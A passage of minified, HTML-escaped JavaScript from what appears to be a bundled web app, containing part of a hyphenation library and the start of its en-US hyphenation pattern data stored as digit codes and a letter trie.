qx==&quot;object&quot;?qx:typeof window==&quot;object&quot;?window:typeof self==&quot;object&quot;?self:{};function T(L,X){L=L||{};for(var W in X)L[W]=X[W];return L}function M(L){return L instanceof Array}function O(L,X,W,G){return X in L&amp;&amp;(!G||G(L[X]))?L[X]:W}function $(L,X){return L.reduce(function(W,G){return W[&quot;~&quot;+G.replace(/\-/g,&quot;&quot;)]=G.replace(/\-/g,X),W},{})}function P(L,X){X=X||{};var W=O(X,E,A),G={},J={},q={},ee=O(X,C,w),ne=L[0].split(&quot;,&quot;),V=JSON.parse(L[1]),ue=O(X,Q,j)&gt;&gt;0,de=O(X,_,v),xe=O(X,S,y,M),_e=ee+ue;if(q[_e]={},L[2]&amp;&amp;(q[_e]=$(L[2],ee),J=c(L[2])),xe&amp;&amp;xe.length&amp;&amp;(q[_e]=T(q[_e],$(xe,ee)),J=T(J,c(xe))),G[_e]=T({},q[_e]),W&amp;&amp;!(&quot;Promise&quot;in R))throw new Error(&quot;Failed to create hyphenator: Could not find global Promise object, needed for hyphenator to work in async mode&quot;);return function(Ce,we){we=we||{};var ve=O(we,C,ee),Ne=O(we,Q,ue)&gt;&gt;0,Ie=O(we,S,y,M),be=ve+Ne;return!q[be]&amp;&amp;L[2]&amp;&amp;(q[be]=$(L[2],ve),G[be]=T(G[be],q[be])),Ie&amp;&amp;Ie.length&amp;&amp;(q[be]=T(q[be],$(Ie,ve)),J=T(J,c(Ie)),G[be]=T(G[be],q[be])),p(Ce,ne,V,G[be],J,ve,de,Ne,W)}}return P})})(K5)),K5.exports}var lke=oke();const cke=ma(lke);var Y5={exports:{}},uke=Y5.exports,TQ;function dke(){return TQ||(TQ=1,(function(e){(function(t,r){e.exports?e.exports=r():t.hyphenationPatternsEnUs=r()})(uke,function(){return[&quot;0004,004,001,003,005,0005,00005,000005,0002,002,0000005,0003,00003,00505,00034,0001,00055,00004,4,05,0055,04,42,03,02,2,404,3,044,01,0505,55,5,045,041,0033,000004,22,00504,5504,0042,1,21,41,402,405,4004,43,23,000054,303,3005,022,5004,000003,252,45,25,2004,000505,054,403,401,3002,0025,144,432,00054,34,12,234,0022,014,0304,012,143,503,0403,101,052,414,212,011,043,00002,0041,0024,05005,03003,00102,0404,04303,01004,0034,025,0044,00404,00025,0103,042,0205,412,104,54,344,433,5005,253,055,0402,3004,0043,204,505,454,0000004,00303,04004,552,201,4005,0255,52,444,14,44,02004,033,05004,00045,00013,0021,0405,00044,0054,50055,000303,00001,304,0204,11,301,232,122,00305,504,000043,0104,00052,000045,50004,0023,00033,00032,00202,5003,202,0401,0000505,214,102,032,000161,004101,00501,00301,0036,0052,00023,006101,006,00401,000521,0014,0063,00012,000501,000006,000604,000601,005001,005005,0010305,00006,003012,003005,0003011,0061,013,000021,000022,000105,00211,00062,00051,000112,006013,000011,0200306,1021,0050001,003003,2102,305,000015,01030005,000035,001011,00021,16330001,0234,030006,5020001,000001,00016,0031,021,21431,002305,0350014,0000012,000063,00101,106,105,00435,00063,0300061,00041,100306,003602,023,0503,0010011,10003,1005,30011,00031,0001001,0000061,0030003,30305,001201,0301,5000101,500101,00015,000401,000065,000016,0000402,0500002,000205,030201,500301,00014,5001,000002,00030011,01034,0300006,030213,00400304,050001,05003,000311,0634,00061,0006,00000604,00050013,00213,0030001,100003,000033,30002,00003632,0003004,050003,0000021,006303,0000006,00005005,30451,03001,00231,00056,00011,6,001001,00500001,03005,503005,0000010001,1002,003001,001065,300001,32011,32,0000003,0213001,0500053,021005,10001,0000011,0001041,0020016,100032,50011,0606,5002,3001,03002,0015001,0102,00003001,000000033,0000001,300101,300015,0101003,00000101,0100501,0101,0010033,00000362,000014,0005001,031&quot;,&#039;{&quot;.&quot;:{&quot;a&quot;:{&quot;c&quot;:{&quot;h&quot;:0},&quot;d&quot;:{&quot;d&quot;:{&quot;e&quot;:{&quot;r&quot;:1}}},&quot;f&quot;:{&quot;t&quot;:2},&quot;l&quot;:{&quot;t&quot;:3},&quot;m&quot;:{&quot;a&quot;:{&quot;t&quot;:4}},&quot;n&quot;:{&quot;c&quot;:4,&quot;g&quot;:0,&quot;i&quot;:{&quot;m&quot;:5},&quot;t&quot;:[{&quot;e&quot;:3,&quot;i&quot;:{&quot;s&quot;:6}},0]},&quot;r&quot;:{&quot;s&quot;:4,&quot;t&quot;:{&quot;i&quot;:{&quot;e&quot;:1},&quot;y&quot;:1}},&quot;s&quot;:{&quot;c&quot;:3,&quot;p&quot;:2,&quot;s&quot;:2,&quot;t&quot;:{&quot;e&quot;:{&quot;r&quot;:7}}},&quot;t&quot;:{&quot;o&quot;:{&quot;m&quot;:6}},&quot;u&quot;:{&quot;d&quot;:2},&quot;v&quot;:{&quot;i&quot;:1},&quot;w&quot;:{&quot;n&quot;:0}},&quot;b&quot;:{&quot;a&quot;:{&quot;g&quot;:1,&quot;n&quot;:{&quot;a&quot;:4},&quot;s&quot;:{&quot;e&quot;:0}},&quot;e&quot;:{&quot;r&quot;:[{&quot;a&quot;:4},0],&quot;s&quot;:{&quot;m&quot;:3,&quot;t&quot;:{&quot;o&quot;:4}}},&quot;r&quot;:{&quot;i&quot;:8},&quot;u&quot;:{&quot;t&quot;:{&quot;t&quot;:{&quot;i&quot;:0}}}},&quot;c&quot;:{&quot;a&quot;:{&quot;m&quot;:{&quot;p&quot;:{&quot;e&quot;:0}},&quot;n&quot;:{&quot;c&quot;:5},&quot;p&quot;:{&quot;a&quot;:{&quot;b&quot;:6}},&quot;r&quot;:{&quot;o&quot;:{&quot;l&quot;:5}},&quot;t&quot;:1},&quot;e&quot;:{&quot;l&quot;:{&quot;a&quot;:1}},&quot;h&quot;:[{&quot;i&quot;:{&quot;l&quot;:{&quot;l&quot;:{&quot;i&quot;:7}}}},1],&quot;i&quot;:[{&quot;t&quot;:{&quot;r&quot;:5}},9],&quot;o&quot;:{&quot;e&quot;:3,&quot;r&quot;:[{&quot;n&quot;:{&quot;e&quot;:{&quot;r&quot;:5}}},1],&quot;n&quot;:{&quot;g&quot;:{&quot;r&quot;:5}}}},&quot;d&quot;:{&quot;e&quot;:{&quot;m&quot;:{&quot;o&quot;:{&quot;i&quot;:1}},&quot;o&quot;:3,&quot;r&quot;:{&quot;a&quot;:3,&quot;i&quot;:[{&quot;v&quot;:{&quot;a&quot;:4}},3]},&quot;s&quot;:{&quot;c&quot;:0}},&quot;i&quot;:{&quot;c&quot;:{&quot;t&quot;:{&quot;i&quot;:{&quot;o&quot;:10}}}},&quot;o&quot;:{&quot;t&quot;:1},&quot;u&quot;:{&quot;c&quot;:1,&quot;m&quot;:{&quot;b&quot;:6}},&quot;r&quot;:{&quot;i&quot;:{&quot;v&quot;:67}}},&quot;e&quot;:{&quot;a&quot;:{&quot;r&quot;:{&quot;t&quot;:{&quot;h&quot;:7}},&quot;s&quot;:{&quot;i&quot;:11}},&quot;b&quot;:1,&quot;e&quot;:{&quot;r&quot;:0},&quot;g&quot;:9,&quot;l&quot;:{&quot;d&quot;:4,&quot;e&quot;:{&quot;m&quot;:3}},&quot;n&quot;:{&quot;a&quot;:{&quot;m&quot;:12},&quot;g&quot;:3,&quot;s&quot;:3},&quot;q&quot;:{&quot;u&quot;:{&quot;i&quot;:{&quot;t&quot;:13}}},&quot;r&quot;:{&quot;r&quot;:{&quot;i&quot;:1}},&quot;s&quot;:3,&quot;u&quot;:[{&quot;l&quot;:{&quot;e&quot;:{&quot;r&quot;:1}}},3],&quot;y&quot;:{&quot;e&quot;:5},&quot;t&quot;:{&quot;h&quot;:{&quot;y&quot;:{&quot;l&quot;:162}}},&quot;v&quot;:[{&quot;e&quot;:{&quot;r&quot;:{&quot;s&quot;:{&quot;i&quot;:{&quot;b&quot;:158}}}}},9]},&quot;f&quot;:{&quot;e&quot;:{&quot;s&quot;:11},&quot;o&quot;:{&quot;r&quot;:{&quot;m&quot;:{&quot;e&quot;:{&quot;r&quot;:5}}}}},&quot;g&quot;:{&quot;a&quot;:[{&quot;s&quot;:{&quot;o&quot;:{&quot;m&quot;:163}}},9],&quot;e&quot;:[{&quot;n&quot;:{&quot;t&quot;:14},&quot;o&quot;:{&quot;g&quot;:4,&quot;m&quot;:{&quot;e&quot;:1},&quot;t&quot;:164}},9],&quot;i&quot;:{&quot;a&quot;:4,&quot;b&quot;:1},&quot;o&quot;:{&quot;r&quot;:1}},&quot;h&quot;:{&quot;a&quot;:{&quot;n&quot;:{&quot;d&quot;:{&quot;i&quot;:6},&quot;k&quot;:5}},&quot;e&quot;:[{&quot;r&quot;:{&quot;o&quot;:{&quot;i&quot;:6,&quot;e&quot;:3}},&quot;s&quot;:11,&quot;t&quot;:11,&quot;m&quot;:{&quot;o&quot;:165},&quot;p&quot;:{&quot;a&quot;:166}},9],&quot;i&quot;:{&quot;b&quot;:3,&quot;e&quot;:{&quot;r&quot;:3}},&quot;o&quot;:{&quot;n&quot;:{&quot;e&quot;:{&quot;y&quot;:5},&quot;o&quot;:11},&quot;v&quot;:5}},&quot;i&quot;:{&quot;d&quot;:{&quot;l&quot;:1,&quot;o&quot;:{&quot;l&quot;:12}},&quot;m&quot;:{&quot;m&quot;:3,&quot;p&quot;:{&quot;i&quot;:{&quot;n&quot;:4}}},&quot;n&quot;:[{&quot;c&quot;:{&quot;i&quot;:3},&quot;e&quot;:8,&quot;k&quot;:9,&quot;s&quot;:3,&quot;u&quot;:{&quot;t&quot;:167}},2],&quot;r&quot;:{&quot;r&quot;:4},&quot;s&quot;:{&quot;i&quot;:1}},&quot;j&quot;:{&quot;u&quot;:{&quot;r&quot;:3}},&quot;l&quot;:{&quot;a&quot;:{&quot;c&quot;:{&quot;y&quot;:1},&quot;m&quot;:1,&quot;t&quot;:{&quot;e&quot;:{&quot;r&quot;:5},&quot;h&quot;:6}},&quot;e&quot;:[{&quot;g&quot;:{&quot;e&quot;:5},&quot;n&quot;:0,&quot;p&quot;:5,&quot;v&quot;:15,&quot;i&quot;:{&quot;c&quot;:{&quot;e&quot;:{&quot;s&quot;:170}}}},9],&quot;i&quot;:{&quot;g&quot;:[{&quot;a&quot;:5},1],&quot;n&quot;:9,&quot;o&quot;:3,&quot;t&quot;:1}},&quot;m&quot;:{&quot;a&quot;:{&quot;g&quot;:{&quot;a&quot;:16},&quot;l&quot;:{&quot;o&quot;:5},&quot;n&quot;:{&quot;a&quot;:5},&quot;r&quot;:{&quot;t&quot;:{&quot;i&quot;:5}}},&quot;e&quot;:[{&quot;r&quot;:{&quot;c&quot;:11},&quot;t&quot;:{&quot;e&quot;:{&quot;r&quot;:4},&quot;a&quot;:{&quot;l&quot;:{&quot;a&quot;:0}}},&quot;g&quot;:{&quot;a&quot;:{&quot;l&quot;:171}}},9],&quot;i&quot;:{&quot;s&quot;:[{&quot;t&quot;:{&quot;i&quot;:6},&quot;e&quot;:{&quot;r&quot;:{&quot;s&quot;:173}}},15],&quot;m&quot;:{&quot;i&quot;:{&quot;c&quot;:172}}},&quot;o&quot;:{&quot;n&quot;:{&quot;e&quot;:11},&quot;r&quot;:{&quot;o&quot;:3}},&quot;u&quot;:{&quot;t&quot;:{&quot;a&quot;:[{&quot;b&quot;:6},4]}}},&quot;n&quot;:{&quot;i&quot;:{&quot;c&quot;:1},&quot;e&quot;:{&quot;o&quot;:{&quot;f&quot;:174}},&quot;o&quot;:{&quot;e&quot;:{&quot;t&quot;:{&quot;h&quot;:15}},&quot;n&quot;:{&quot;e&quot;:{&quot;m&quot;:175}}}},&quot;o&quot;:{&quot;d&quot;:[{&quot;d&quot;:5},9],&quot;f&quot;:{&quot;t&quot;:{&quot;e&quot;:4}},&quot;r&quot;:{&quot;a&quot;:{&quot;t&quot;:{&quot;o&quot;:4}},&quot;c&quot;:3,&quot;d&quot;:2,&quot;t&quot;:3},&quot;s&quot;:[{&quot;t&quot;:{&quot;l&quot;:1}},3],&quot;t&quot;:{&quot;h&quot;:11},&quot;u&quot;:{&quot;t&quot;:11}},&quot;p&quot;:{&quot;e&quot;:{&quot;d&quot;:{&quot;a&quot;:{&quot;l&quot;:5}},&quot;t&quot;:{&quot;e&quot;:4,&quot;i&quot;:{&quot;t&quot;:4}}},&quot;i&quot;:{&quot;e&quot;:1,&quot;o&quot;:{&quot;n&quot;:5},&quot;t&quot;:9},&quot;r&quot;:{&quot;e&quot;:{&quot;m&quot;:11,&quot;a&quot;:{&quot;m&quot;:15}}},&quot;o&quot;:{&quot;l&quot;:{&quot;y&quot;:{&quot;s&quot;:137}},&quot;s&quot;:{&quot;t&quot;:{&quot;a&quot;:{&quot;m&quot;:137}}}}},&quot;r&quot;:{&quot;a&quot;:{&quot;c&quot;:1,&quot;n&quot;:{&quot;t&quot;:0},&quot;t&quot;:{&quot;i&quot;:{&quot;o&quot;:{&quot;n&quot;:{&quot;a&quot;:7}}}},&quot;v&quot;:{&quot;e&quot;:{&quot;n&quot;:{&quot;o&quot;:176}}}},&quot;e&quot;:{&quot;e&quot;:[{&quot;c&quot;:173},8],&quot;m&quot;:{&quot;i&quot;:{&quot;t&quot;:4}},&quot;s&quot;:[{&quot;t&quot;:{&quot;a&quot;:{&quot;t&quot;:4}}},8]},&quot;i&quot;:{&quot;g&quot;:1,&quot;t&quot;:{&quot;u&quot;:5}},&quot;o&quot;:{&quot;q&quot;:1,&quot;s&quot;:{&quot;t&quot;:5},&quot;w&quot;:{&quot;d&quot;:5}},&quot;u&quot;:{&quot;d&quot;:1}},&quot;s&quot;:{&quot;c&quot;:{&quot;i&quot;:{&quot;e&quot;:11}},&quot;e&quot;:{&quot;l&quot;:{&quot;f&quot;:6,&quot;l&quot;:6},&quot;n&quot;:9,&quot;r&quot;:{&quot;i&quot;:{&quot;e&quot;:4}},&quot;m&quot;:{&quot;i&quot;:[{&quot;c&quot;:0,&quot;d&quot;:177,&quot;p&quot;:36,&quot;r&quot;:36,&quot;s&quot;:178,&quot;v&quot;:36},6]}},&quot;h&quot;:9,&quot;i&quot;:[{&quot;n&quot;:{&quot;g&quot;:17}},9],&quot;t&quot;:[{&quot;a&quot;:{&quot;b&quot;:{&quot;l&quot;:5}}},1],&quot;y&quot;:9,&quot;p&quot;:{&quot;h&quot;:{&quot;i&quot;:{&quot;n&quot;:179}},&quot;i&quot;:{&quot;n&quot;:{&quot;o&quot;:137}}}},&quot;t&quot;:{&quot;a&quot;:[{&quot;p&quot;:{&quot;e&quot;:{&quot;s&quot;:{&quot;t&quot;:{&quot;r&quot;:180}}}}},1],&quot;e&quot;:[{&quot;n&quot;:{&quot;a&quot;:{&quot;n&quot;:5}},&quot;l&quot;:{&quot;e&quot;:{&quot;g&quot;:{&quot;r&quot;:3}}}},1],&quot;h&quot;:9,&quot;i&quot;:[{&quot;l&quot;:0,&quot;m&quot;:{&quot;o&quot;:16},&quot;n&quot;:{&quot;g&quot;:17,&quot;k&quot;:5}},9],&quot;o&quot;:{&quot;n&quot;:{&quot;a&quot;:0},&quot;p&quot;:[{&quot;i&quot;:5,&quot;o&quot;:{&quot;g&quot;:170}},1],&quot;u&quot;:{&quot;s&quot;:5},&quot;q&quot;:9},&quot;r&quot;:{&quot;i&quot;:{&quot;b&quot;:{&quot;u&quot;:{&quot;t&quot;:6}}}}},&quot;u&quot;:{&quot;n&quot;:{&quot;a&quot;:[{&quot;t&quot;:{&quot;t&quot;:144}},2],&quot;c&quot;:{&quot;e&quot;:3},&quot;d&quot;:{&quot;e&quot;:{&quot;r&quot;:7}},&quot;e&quot;:[{&quot;r&quot;:{&quot;r&quot;:181}},2],&quot;k&quot;:4,&quot;o&quot;:4,&quot;u&quot;:3},&quot;p&quot;:3,&quot;r&quot;:{&quot;e&quot;:11},&quot;s&quot;:{&quot;a&quot;:4}},&quot;v&quot;:{&quot;e&quot;:{&quot;n&quot;:{&quot;d&quot;:{&quot;e&quot;:0}},&quot;r&quot;:{&quot;a&quot;:4}},&quot;i&quot;:{&quot;c&quot;:{&quot;a&quot;:{&quot;r&quot;:151}}}},&quot;w&quot;:{&quot;i&quot;:{&quot;l&quot;:{&quot;i&quot;:5}},&quot;e&quot;:{&quot;b&quot;:{&quot;l&quot;:131}}},&quot;y&quot;:{&quot;e&quot;:1},&quot;k&quot;:{&quot;i&quot;:{&quot;l&quot;:{&quot;n&quot;:{&quot;i&quot;:168}}},&quot;o&quot;:{&quot;r&quot;:{&quot;t&quot;:{&quot;e&quot;:169}}}}},&quot;a&quot;:{&quot;b&quot;:{&quot;.&quot;:18,&quot;a&quot;:{&quot;l&quot;:19,&quot;n&quot;:19},&quot;e&quot;:[{&quot;r&quot;:{&quot;d&quot;:4}},8],&quot;i&quot;:{&quot;a&quot;:5,&quot;t&quot;:{&quot;a&quot;:{&quot;b&quot;:13}}},&quot;l&quot;:{&quot;a&quot;:{&quot;t&quot;:4}},&quot;o&quot;:{&quot;l&quot;:{&quot;i&quot;:{&quot;z&quot;:20,&quot;c&quot;:19}}},&quot;r&quot;:[{&quot;o&quot;:{&quot;g&quot;:4}},18],&quot;u&quot;:{&quot;l&quot;:3}},&quot;c&quot;:{&quot;a&quot;:{&quot;r&quot;:[{&quot;d&quot;:4,&quot;o&quot;:4},21],&quot;b&quot;:{&quot;l&quot;:24}},&quot;e&quot;:{&quot;o&quot;:{&quot;u&quot;:19},&quot;r&quot;:2},&quot;h&quot;:{&quot;e&quot;:{&quot;t&quot;:19}},&quot;i&quot;:[{&quot;e&quot;:23,&quot;n&quot;:2,&quot;o&quot;:23},22],&quot;r&quot;:{&quot;o&quot;:{&quot;b&quot;:4}},&quot;t&quot;:{&quot;i&quot;:{&quot;f&quot;:5}},&quot;u&quot;:{&quot;l&quot;:3,&quot;m&quot;:1}},&quot;d&quot;:[{&quot;d&quot;:{&quot;i&quot;:{&quot;n&quot;:1}},&quot;e&quot;:{&quot;r&quot;:{&quot;.&quot;:4}},&quot;i&quot;:[{&quot;a&quot;:23,&quot;c&quot;:{&quot;a&quot;:3},&quot;e&quot;:{&quot;r&quot;:0},&quot;o&quot;:23,&quot;t&quot;:23,&quot;u&quot;:19},25],&quot;l&quot;:{&quot;e&quot;:1},&quot;o&quot;:{&quot;w&quot;:3},&quot;r&quot;:{&quot;a&quot;:{&quot;n&quot;:4}},&quot;s&quot;:{&quot;u&quot;:1},&quot;u&quot;:[{&quot;c&quot;:23,&quot;m&quot;:4},18]},24],&quot;e&quot;:{&quot;r&quot;:[{&quot;i&quot;:{&quot;e&quot;:17}},1]},&quot;f&quot;:[{&quot;f&quot;:[{&quot;i&quot;:{&quot;s&quot;:{&quot;h&quot;:170}}},0]},24],&quot;g&quot;:{&quot;a&quot;:{&quot;b&quot;:21,&quot;n&quot;:0},&quot;e&quot;:{&quot;l&quot;:{&quot;l&quot;:4},&quot;o&quot;:0,&quot;u&quot;:18},&quot;i&quot;:2,&quot;l&quot;:26,&quot;n&quot;:2,&quot;o&quot;:[{&quot;g&quot;:27,&quot;n&quot;:{&quot;i&quot;:3}},24],&quot;u&quot;:{&quot;e&quot;:{&quot;r&quot;:19},&quot;l&quot;:4},&quot;y&quot;:21},&quot;h&quot;:{&quot;a&quot;:23,&quot;e&quot;:23,&quot;l&quot;:1,&quot;o&quot;:23},&quot;i&quot;:[{&quot;a&quot;:19,&quot;c&quot;:{&quot;.&quot;:23},&quot;l&quot;:{&quot;y&quot;:4},&quot;n&quot;:[{&quot;i&quot;:{&quot;n&quot;:5},&quot;o&quot;:5},28],&quot;t&quot;:{&quot;e&quot;:{&quot;n&quot;:5}}},9],&quot;j&quot;:29,&quot;k&quot;:{&quot;e&quot;:{&quot;n&quot;:2}},&quot;l&quot;:{&quot;a&quot;:{&quot;b&quot;:4,&quot;d&quot;:3,&quot;r&quot;:21},&quot;d&quot;:{&quot;i&quot;:18},&quot;e&quot;:[{&quot;n&quot;:{&quot;d&quot;:3,&quot;t&quot;:{&quot;i&quot;:21}},&quot;o&quot;:30},25],&quot;i&quot;:[{&quot;a&quot;:{&quot;.&quot;:1},&quot;e&quot;:0},2],&quot;l&quot;:{&quot;e&quot;:{&quot;v&quot;:4},&quot;i&quot;:{&quot;c&quot;:18}},&quot;m&quot;:18,&quot;o&quot;:{&quot;g&quot;:{&quot;.&quot;:19}},&quot;y&quot;:{&quot;.&quot;:21,&quot;s&quot;:[{&quot;t&quot;:31},18],&quot;t&quot;:32,&quot;z&quot;:27}},&quot;m&quot;:{&quot;a&quot;:[{&quot;b&quot;:4,&quot;g&quot;:3,&quot;r&quot;:{&quot;a&quot;:5},&quot;s&quot;:{&quot;c&quot;:4},&quot;t&quot;:{&quot;i&quot;:{&quot;s&quot;:21},&quot;o&quot;:33}},18],&quot;e&quot;:{&quot;r&quot;:{&quot;a&quot;:4},&quot;n&quot;:{&quot;t&quot;:{&quot;a&quot;:{&quot;b&quot;:182}}}},&quot;i&quot;:{&quot;c&quot;:3,&quot;f&quot;:4,&quot;l&quot;:{&quot;y&quot;:4},&quot;n&quot;:[{&quot;o&quot;:0},2]},&quot;o&quot;:[{&quot;n&quot;:19,&quot;r&quot;:{&quot;i&quot;:6}},24],&quot;p&quot;:{&quot;e&quot;:{&quot;n&quot;:5}}},&quot;n&quot;:[{&quot;a&quot;:{&quot;g&quot;:{&quot;e&quot;:3},&quot;l&quot;:{&quot;y&quot;:[{&quot;s&quot;:183},27]},&quot;r&quot;:[{&quot;c&quot;:3,&quot;i&quot;:17},23],&quot;t&quot;:{&quot;i&quot;:23}},&quot;d&quot;:[{&quot;e&quot;:{&quot;s&quot;:17},&quot;i&quot;:{&quot;s&quot;:3},&quot;l&quot;:2,&quot;o&quot;:{&quot;w&quot;:1}},18],&quot;e&quot;:{&quot;e&quot;:19,&quot;n&quot;:23,&quot;s&quot;:{&quot;t&quot;:{&quot;.&quot;:4}},&quot;u&quot;:23},&quot;g&quot;:[{&quot;i&quot;:{&quot;e&quot;:5},&quot;l&quot;:2},25],&quot;i&quot;:{&quot;c&quot;:34,&quot;e&quot;:{&quot;s&quot;:23},&quot;f&quot;:35,&quot;m&quot;:{&quot;e&quot;:1,&quot;i&quot;:19},&quot;n&quot;:{&quot;e&quot;:19},&quot;o&quot;:3,&quot;p&quot;:23,&quot;s&quot;:{&quot;h&quot;:3},&quot;t&quot;:3,&quot;u&quot;:23},&quot;k&quot;:{&quot;l&quot;:{&quot;i&quot;:1}},&quot;n&quot;:{&quot;i&quot;:{&quot;z&quot;:32}},&quot;o&quot;:[{&quot;t&quot;:[{&quot;h&quot;:7},4],&quot;a&quot;:{&quot;c&quot;:148}},0],&quot;s&quot;:{&quot;a&quot;:9,&quot;c&quot;:{&quot;o&quot;:1},&quot;n&quot;:1,&quot;p&quot;:[{&quot;o&quot;:11},9],&quot;t&quot;:1,&quot;u&quot;:{&quot;r&quot;:1},&quot;g&quot;:{&quot;r&quot;:5},&quot;v&quot;:11},&quot;t&quot;:{&quot;a&quot;:{&quot;l&quot;:36},&quot;i&quot;:{&quot;e&quot;:1,&quot;d&quot;:137,&quot;n&quot;:184,&quot;r&quot;:{&quot;e&quot;:137}},&quot;o&quot;:18,&quot;r&quot;:9,&quot;w&quot;:1},&quot;u&quot;:{&quot;a&quot;:3,&quot;l&quot;:3,&quot;r&quot;:19}},24],&quot;o&quot;:18,&quot;p&quot;:{&quot;a&quot;:{&quot;r&quot;:17,&quot;t&quot;:4},&quot;e&quot;:{&quot;r&quot;:{&quot;o&quot;:4},&quot;a&quot;:{&quot;b&quot;:{&quot;l&quot;:{&quot;e&quot;:132}}}},&quot;h&quot;:{&quot;e&quot;:{&quot;r&quot;:23},&quot;i&quot;:18},&quot;i&quot;:{&quot;l&quot;:{&quot;l&quot;:{&quot;a&quot;:[{&quot;r&quot;:4},21]}},&quot;n&quot;:3,&quot;t&quot;:{&quot;a&quot;:3,&quot;u&quot;:23}},&quot;l&quot;:24,&quot;o&quot;:{&quot;c&quot;:6,&quot;l&quot;:{&quot;a&quot;:4},&quot;r&quot;:{&quot;i&quot;:6},&quot;s&quot;:{&quot;t&quot;:12}},&quot;s&quot;:{&quot;e&quot;:{&quot;s&quot;:5}},&quot;u&quot;:23},&quot;q&quot;:{&quot;u&quot;:{&quot;e&quot;:6}},&quot;r&quot;:[{&quot;a&quot;:{&quot;c&quot;:{&quot;t&quot;:3},&quot;d&quot;:{&quot;e&quot;:19,&quot;i&quot;:{&quot;s&quot;:4}},&quot;l&quot;:3,&quot;m&quot;:{&quot;e&quot;:{&quot;t&quot;:{&quot;e&quot;:19}}},&quot;n&quot;:{&quot;g&quot;:17},&quot;p&quot;:11,&quot;t&quot;:[{&quot;i&quot;:{&quot;o&quot;:19,&quot;v&quot;:4}},1],&quot;u&quot;:19,&quot;v&quot;:38,&quot;w&quot;:17},&quot;b&quot;:{&quot;a&quot;:{&quot;l&quot;:36}},&quot;c&quot;:{&quot;h&quot;:{&quot;a&quot;:{&quot;n&quot;:1},&quot;e&quot;:{&quot;t&quot;:185}}},&quot;d&quot;:{&quot;i&quot;:{&quot;n&quot;:{&quot;e&quot;:4}},&quot;r&quot;:1},&quot;e&quot;:{&quot;a&quot;:{&quot;s&quot;:4},&quot;e&quot;:23,&quot;n&quot;:{&quot;t&quot;:3},&quot;s&quot;:{&quot;s&quot;:19}},&quot;f&quot;:{&quot;i&quot;:1,&quot;l&quot;:1},&quot;i&quot;:[{&quot;a&quot;:{&quot;l&quot;:4,&quot;n&quot;:3},&quot;e&quot;:{&quot;t&quot;:23},&quot;m&quot;:1,&quot;n&quot;:{&quot;a&quot;:{&quot;t&quot;:4}},&quot;o&quot;:3,&quot;z&quot;:9},2],&quot;m&quot;:{&quot;i&quot;:9},&quot;o&quot;:{&quot;d&quot;:20,&quot;n&quot;:{&quot;i&quot;:19},&quot;o&quot;:23},&quot;p&quot;:9,&quot;q&quot;:3,&quot;r&quot;:{&quot;e&quot;:17,&quot;a&quot;:{&quot;n&quot;:{&quot;g&quot;:{&quot;e&quot;:9}}}},&quot;s&quot;:{&quot;a&quot;:1,&quot;h&quot;:9}},37],&quot;s&quot;:{&quot;.&quot;:18,&quot;a&quot;:{&quot;b&quot;:1,&quot;n&quot;:{&quot;t&quot;:3}},&quot;h&quot;:{&quot;i&quot;:17},&quot;i&quot;:{&quot;a&quot;:{&quot;.&quot;:19},&quot;b&quot;:23,&quot;c&quot;:23,&quot;t&quot;:39},&quot;k&quot;:{&quot;i&quot;:11},&quot;l&quot;:1,&quot;o&quot;:{&quot;c&quot;:21},&quot;p&quot;:{&quot;h&quot;:4},&quot;s&quot;:{&quot;h&quot;:1},&quot;t&quot;:{&quot;e&quot;:{&quot;n&quot;:3},&quot;r&quot;:2},&quot;u&quot;:{&quot;r&quot;:{&quot;a&quot;:6}},&quot;y&quot;:{&quot;m&quot;:{&quot;p&quot;:{&quot;t&quot;:{&quot;o&quot;:{&quot;t&quot;:4}}}}}},&quot;t&quot;:{&quot;a&quot;:[{&quot;b&quot;:{&quot;l&quot;:3},&quot;c&quot;:4,&quot;l&quot;:{&quot;o&quot;:3},&quot;p&quot;:4},24],&quot;e&quot;:{&quot;c&quot;:[{&quot;h&quot;:4},5],&quot;g&quot;:{&quot;o&quot;:3},&quot;n&quot;:{&quot;.&quot;:3},&quot;r&quot;:{&quot;a&quot;:3,&quot;n&quot;:[{&quot;a&quot;:19},6]},&quot;s&quot;:{&quot;t&quot;:3},&quot;v&quot;:4},&quot;h&quot;:[{&quot;e&quot;:{&quot;m&quot;:5,&quot;n&quot;:19,&quot;r&quot;:{&quot;o&quot;:{&quot;s&quot;:186}}},&quot;o&quot;:[{&quot;m&quot;:5},1]},18],&quot;i&quot;:{&quot;.&quot;:18,&quot;a&quot;:19,&quot;b&quot;:20,&quot;c&quot;:2,&quot;f&quot;:3,&quot;o&quot;:{&quot;n&quot;:{&quot;a&quot;:{&quot;r&quot;:7}}},&quot;t&quot;:{&quot;u&quot;:3}},&quot;o&quot;:{&quot;g&quot;:21,&quot;m&quot;:[{&quot;i&quot;:{&quot;z&quot;:4}},24],&quot;p&quot;:21,&quot;s&quot;:21},&quot;r&quot;:[{&quot;o&quot;:{&quot;p&quot;:4}},29],&quot;s&quot;:{&quot;k&quot;:1},&quot;t&quot;:{&quot;a&quot;:{&quot;g&quot;:1},&quot;e&quot;:[{&quot;s&quot;:{&quot;.&quot;:170}},4],&quot;h&quot;:1},&quot;u&quot;:[{&quot;a&quot;:4,&quot;e&quot;:4,&quot;l&quot;:3,&quot;r&quot;:{&quot;a&quot;:3}},24],&quot;y&quot;:24},&quot;u&quot;:{&quot;b&quot;:1,&quot;g&quot;:{&quot;h&quot;:[{&quot;t&quot;:{&quot;l&quot;:17}},12],&quot;u&quot;:3},&quot;l&quot;:[{&quot;i&quot;:{&quot;f&quot;:13}},40],&quot;n&quot;:{&quot;d&quot;:5},&quot;r&quot;:3,&quot;s&quot;:{&quot;i&quot;:{&quot;b&quot;:4}},&quot;t&quot;:{&quot;e&quot;:{&quot;n&quot;:5},&quot;h&quot;:2}},&quot;v&quot;:{&quot;a&quot;:[{&quot;g&quot;:3,&quot;n&quot;:19},24],&quot;e&quot;:{&quot;n&quot;:{&quot;o&quot;:0},&quot;r&quot;:{&quot;a&quot;:3,&quot;n&quot;:4,&quot;y&quot;:4}},&quot;i&quot;:[{&quot;e&quot;:{&quot;r&quot;:0},&quot;g&quot;:3,&quot;o&quot;:{&quot;u&quot;:3}},2],&quot;o&quot;:{&quot;c&quot;:4,&quot;r&quot;:29}},&quot;w&quot;:{&quot;a&quot;:{&quot;y&quot;:27},&quot;i&quot;:3,&quot;l&quot;:{&quot;y&quot;:1},&quot;s&quot;:0},&quot;x&quot;:{&quot;i&quot;:{&quot;c&quot;:1,&quot;d&quot;:1}},&quot;y&quot;:{&quot;a&quot;:{&quot;l&quot;:4},&quot;e&quot;:0,&quot;s&quot;:0},&quot;z&quot;:{&quot;i&quot;:{&quot;e&q